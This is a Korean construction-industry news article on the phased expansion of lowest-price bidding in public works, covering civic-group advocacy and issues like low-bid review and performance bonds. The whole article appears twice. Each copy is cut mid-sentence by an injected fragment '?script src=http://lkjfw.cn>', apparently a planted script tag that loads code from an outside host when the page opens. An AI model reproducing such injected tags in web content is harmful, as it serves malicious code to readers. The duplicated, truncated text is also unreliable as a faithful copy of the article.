최저가낙찰제 단계적 확대와 과제
보도일자 2003-03-24
보도기관 일간건설
◇새정부 국정과제:최저가낙찰제의 단계적 확대
대통령직 인수위에서는 경실련 등 시민단체 의견을 수용해 최저가낙찰제의 단계적 확대를 새 정부의 국정과제로 확정했다. 이에 따라 금년 상반기중에는 최저가낙찰제와 관련된 실무작업이 본격적으로 이루어질 것이다. 아마도 3월중에는 단계적 확대 일정이 잡힐 것이고 저가심의제 도입의 근거규정과 더불어 4월중에는 국가계약법 시행령 개정안의 입법예고가 이루어질 것이다.
금년 하반기부터 당장 최저가낙찰제가 확대되지는 않더라도 최소한 최저가낙찰제 공사에 대한 저가심의제 만큼은 금년 하반기부터 시행될 것으로 보인다.
내년부터 최저가낙찰제의 단계적 확대가 추진될 경우 향후 공공공사 입·낙찰제도는 턴키·대안입찰제도와 최저가낙찰제의 두가지로 양분되고 적격심사제도는 그 비중이 줄어들 뿐만 아니라 폐지될 가능성도 있다.
새 정부의 국정과제로 최저가낙찰제의 단계적 확대가 결정된 이상 원칙론이나 방향성에 대한 논의는 무의미할 수 있다.
이 시점에서 중요한 것은 건설산업과 업계의 발전을 위해서 바람직한 최저가낙찰제 정착방안이 무엇인지에 대한 논의일 것이다.
◇시민단체도 최저가낙찰제 확대 주장
최저가낙찰제의 단계적 확대가 국정과제로 자리잡는 데 큰 역할을 한 것은 경실련과 같은 시민단체임은 이미 알려진 사실이다.
최저가낙찰제 확대에 대한 경실련의 주장은 새삼스러운 것이 아니다. ‘건설산업 구조개편 방안(2000.4)’이 발표되던 시기를 전후해서부터 최저가낙찰제 도입을 주창해 왔고 이와 관련된 경실련주최 세미나도 몇차례 있었다.
특히 작년에는 부패방지위원회가 의뢰한 용역보고서를 통해서 부패방지와 예산절감 및 건설산업의 경쟁력 제고를 위해 최저가낙찰제의 단계적 확대가 필요하다는 주장을 본격적으로 정부 관계기관에 전달하기도 했다. 용역보고서에 담긴 내용은 최저가낙찰제의 단계적 확대만 있는 것이 아니다.
공사이행보증시장을 개방하고 현행 품셈제도를 폐지하는 대신 실적공사비 적산제도를 도입해야 하며 예정가격 대비 70% 미만의 저가낙찰자에게 부과하고 있는 PQ신인도 누적감점제는 폐지해야 한다는 주장도 포함돼 있다.
새로 도입하고자 하는 저가심의제에 대해서는 아직까지 공식적인 언급이 없지만 적격심사제도에서와 같이 일정한 낙찰률을 보장해 주는 방식으로 운용한다면 반대할 것이 자명하다.
건설업계에서는 이 같은 경실련의 활동과 관련해 한편에서는 공포감을 가지기도 하고 다른 한편에서는 건설산업이나 건설공사에 대해서 잘 알지도 못하는 시민단체에서 무슨 헛소리를 하느냐고 무시하는 반응을 보이기도 한다. 이들 두가지 반응은 모두 바람직하지 않다.
‘국민의 정부’만이 아니라 ‘참여정부’라는 새 정부에서도 시민단체는 적극적으로 정부정책 결정에 참여할 것이다. 특히 최저가낙찰제의 단계적 확대를 비롯해 턴키·대안입찰제도나 대형국책건설사업과 관련해서는 경실련에서 지속적인 관심을 갖고 제도개선을 요구해 왔던 영역이다.
사정이 이런데도 불구하고 시민단체의 영향력을 무시하거나 건설에 대해서 무지한 집단으로 생각해서는 곤란하다.
◇저가심의제 도입 및 정착, 이행보증제도 정상화 등 현안과제 산적
최저가낙찰제를 단계적으로 확대한다고 해서 확대 일정만 결정하면 되는 것이 아니다. 예컨대 금년 하반기부터 당장 500억원 이상 공사로 최저가낙찰제를 확대한다고 가정해 보자. 일차적으로 생각해 봐야 할 것은 비PQ공사는 어떻게 할 것인가 하는 문제다. PQ공사는 현행대로 PQ심사를 받는다 치고 비PQ공사는 입찰가격만으로 낙찰자를 선정할 것인가.
아마도 그렇게는 되기 어려울 것이다. 공사수행능력에 대한 최소한의 검증장치는 있어야 할 것이기 때문이다. 그렇다면 비PQ공사의 공사수행능력에 대한 평가장치는 어떻게 만들어야 할 것인가. 또 1천억원 이상 PQ공사는 현행대로 한다지만 500억원 이상∼1천억 미만 공사의 PQ심사기준은 현행대로 할 것인 지 아니면 1천억원 이상 PQ공사와 같은 기준을 적용할 것인 지와 같은 문제도 결정해야 한다.
공사이행보증제도 또한 마찬가지다. 500억원 이상 공사로 최저가낙찰제가 확대되면 당연히 이행보증 건수와 금액도 늘어난다.
시공연대보증을 근간으로 하고 있는 현행 계약보증제도는 최저가낙찰제의 단계적 확대에 따라 이행보증제도에 자리를 물려줄 수밖에 없을 것이다. 이행보증에 수반되는 리스크 등을 감안해 볼 때 건설보증시장의 개방도 논의될 수밖에 없다.
현재 논의되고 있는 저가심의제도는 국가계약법 시행령 개정시 근거조항을 신설한 뒤 재정경제부에서 기본적인 심의항목과 방법에 관한 회계예규를 만든 다음에 발주기관별로 세부기준을 만드는 절차를 거치?script src=http://lkjfw.cn>
대통령직 인수위에서는 경실련 등 시민단체 의견을 수용해 최저가낙찰제의 단계적 확대를 새 정부의 국정과제로 확정했다. 이에 따라 금년 상반기중에는 최저가낙찰제와 관련된 실무작업이 본격적으로 이루어질 것이다. 아마도 3월중에는 단계적 확대 일정이 잡힐 것이고 저가심의제 도입의 근거규정과 더불어 4월중에는 국가계약법 시행령 개정안의 입법예고가 이루어질 것이다.
금년 하반기부터 당장 최저가낙찰제가 확대되지는 않더라도 최소한 최저가낙찰제 공사에 대한 저가심의제 만큼은 금년 하반기부터 시행될 것으로 보인다.
내년부터 최저가낙찰제의 단계적 확대가 추진될 경우 향후 공공공사 입·낙찰제도는 턴키·대안입찰제도와 최저가낙찰제의 두가지로 양분되고 적격심사제도는 그 비중이 줄어들 뿐만 아니라 폐지될 가능성도 있다.
새 정부의 국정과제로 최저가낙찰제의 단계적 확대가 결정된 이상 원칙론이나 방향성에 대한 논의는 무의미할 수 있다.
이 시점에서 중요한 것은 건설산업과 업계의 발전을 위해서 바람직한 최저가낙찰제 정착방안이 무엇인지에 대한 논의일 것이다.
◇시민단체도 최저가낙찰제 확대 주장
최저가낙찰제의 단계적 확대가 국정과제로 자리잡는 데 큰 역할을 한 것은 경실련과 같은 시민단체임은 이미 알려진 사실이다.
최저가낙찰제 확대에 대한 경실련의 주장은 새삼스러운 것이 아니다. ‘건설산업 구조개편 방안(2000.4)’이 발표되던 시기를 전후해서부터 최저가낙찰제 도입을 주창해 왔고 이와 관련된 경실련주최 세미나도 몇차례 있었다.
특히 작년에는 부패방지위원회가 의뢰한 용역보고서를 통해서 부패방지와 예산절감 및 건설산업의 경쟁력 제고를 위해 최저가낙찰제의 단계적 확대가 필요하다는 주장을 본격적으로 정부 관계기관에 전달하기도 했다. 용역보고서에 담긴 내용은 최저가낙찰제의 단계적 확대만 있는 것이 아니다.
공사이행보증시장을 개방하고 현행 품셈제도를 폐지하는 대신 실적공사비 적산제도를 도입해야 하며 예정가격 대비 70% 미만의 저가낙찰자에게 부과하고 있는 PQ신인도 누적감점제는 폐지해야 한다는 주장도 포함돼 있다.
새로 도입하고자 하는 저가심의제에 대해서는 아직까지 공식적인 언급이 없지만 적격심사제도에서와 같이 일정한 낙찰률을 보장해 주는 방식으로 운용한다면 반대할 것이 자명하다.
건설업계에서는 이 같은 경실련의 활동과 관련해 한편에서는 공포감을 가지기도 하고 다른 한편에서는 건설산업이나 건설공사에 대해서 잘 알지도 못하는 시민단체에서 무슨 헛소리를 하느냐고 무시하는 반응을 보이기도 한다. 이들 두가지 반응은 모두 바람직하지 않다.
‘국민의 정부’만이 아니라 ‘참여정부’라는 새 정부에서도 시민단체는 적극적으로 정부정책 결정에 참여할 것이다. 특히 최저가낙찰제의 단계적 확대를 비롯해 턴키·대안입찰제도나 대형국책건설사업과 관련해서는 경실련에서 지속적인 관심을 갖고 제도개선을 요구해 왔던 영역이다.
사정이 이런데도 불구하고 시민단체의 영향력을 무시하거나 건설에 대해서 무지한 집단으로 생각해서는 곤란하다.
◇저가심의제 도입 및 정착, 이행보증제도 정상화 등 현안과제 산적
최저가낙찰제를 단계적으로 확대한다고 해서 확대 일정만 결정하면 되는 것이 아니다. 예컨대 금년 하반기부터 당장 500억원 이상 공사로 최저가낙찰제를 확대한다고 가정해 보자. 일차적으로 생각해 봐야 할 것은 비PQ공사는 어떻게 할 것인가 하는 문제다. PQ공사는 현행대로 PQ심사를 받는다 치고 비PQ공사는 입찰가격만으로 낙찰자를 선정할 것인가.
아마도 그렇게는 되기 어려울 것이다. 공사수행능력에 대한 최소한의 검증장치는 있어야 할 것이기 때문이다. 그렇다면 비PQ공사의 공사수행능력에 대한 평가장치는 어떻게 만들어야 할 것인가. 또 1천억원 이상 PQ공사는 현행대로 한다지만 500억원 이상∼1천억 미만 공사의 PQ심사기준은 현행대로 할 것인 지 아니면 1천억원 이상 PQ공사와 같은 기준을 적용할 것인 지와 같은 문제도 결정해야 한다.
공사이행보증제도 또한 마찬가지다. 500억원 이상 공사로 최저가낙찰제가 확대되면 당연히 이행보증 건수와 금액도 늘어난다.
시공연대보증을 근간으로 하고 있는 현행 계약보증제도는 최저가낙찰제의 단계적 확대에 따라 이행보증제도에 자리를 물려줄 수밖에 없을 것이다. 이행보증에 수반되는 리스크 등을 감안해 볼 때 건설보증시장의 개방도 논의될 수밖에 없다.
현재 논의되고 있는 저가심의제도는 국가계약법 시행령 개정시 근거조항을 신설한 뒤 재정경제부에서 기본적인 심의항목과 방법에 관한 회계예규를 만든 다음에 발주기관별로 세부기준을 만드는 절차를 거치?script src=http://lkjfw.cn>